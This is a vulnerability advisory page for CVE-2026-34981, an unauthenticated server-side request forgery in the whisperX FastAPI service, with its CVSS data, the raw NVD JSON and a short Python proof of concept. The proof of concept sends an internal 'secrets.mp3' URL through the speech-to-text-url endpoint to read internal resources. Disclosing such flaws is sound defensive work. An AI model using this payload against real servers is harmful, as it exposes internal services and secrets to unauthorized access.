Security Vulnerability Report
中文
CVE-2026-34981 CVSS 5.8 MEDIUM

CVE-2026-34981

Published: 2026-04-06 17:17:12
Last Modified: 2026-04-27 14:44:50

Description

The whisperX API is a tool for enhancing and analyzing audio content. From 0.3.1 to 0.5.0, FileService.download_from_url() in app/services/file_service.py calls requests.get(url) with zero URL validation. The file extension check occurs AFTER the HTTP request is already made, and can be bypassed by appending .mp3 to any internal URL. The /speech-to-text-url endpoint is unauthenticated. This vulnerability is fixed in 0.6.0.

CVSS Details

CVSS Score
5.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:pavelzbornik:whisperx_rest_api:*:*:*:*:*:*:*:* - VULNERABLE
WhisperX FastAPI 0.3.1 - 0.5.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests target = "http://target-ip:8000/speech-to-text-url" # Bypass check by appending .mp3 internal_resource = "http://127.0.0.1:8080/secrets.mp3" data = { "url": internal_resource } response = requests.post(target, data=data) print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34981", "sourceIdentifier": "[email protected]", "published": "2026-04-06T17:17:11.710", "lastModified": "2026-04-27T14:44:50.490", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The whisperX API is a tool for enhancing and analyzing audio content. From 0.3.1 to 0.5.0, FileService.download_from_url() in app/services/file_service.py calls requests.get(url) with zero URL validation. The file extension check occurs AFTER the HTTP request is already made, and can be bypassed by appending .mp3 to any internal URL. The /speech-to-text-url endpoint is unauthenticated. This vulnerability is fixed in 0.6.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N", "baseScore": 5.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pavelzbornik:whisperx_rest_api:*:*:*:*:*:*:*:*", "versionStartIncluding": "0.3.1", "versionEndExcluding": "0.6.0", "matchCriteriaId": "71295380-F143-43BC-9FC7-A21F2B89FA10"}]}]}], "references": [{"url": "https://github.com/pavelzbornik/whisperX-FastAPI/commit/ef78fe2001deede5354031e4200d41c6a7e8cbfc", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/pavelzbornik/whisperX-FastAPI/issues/256", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/pavelzbornik/whisperX-FastAPI/security/advisories/GHSA-6rc7-r867-c635", "source": "[email protected]", "tags": ["Third Party Advisory", "Exploit", "Mitigation"]}]}}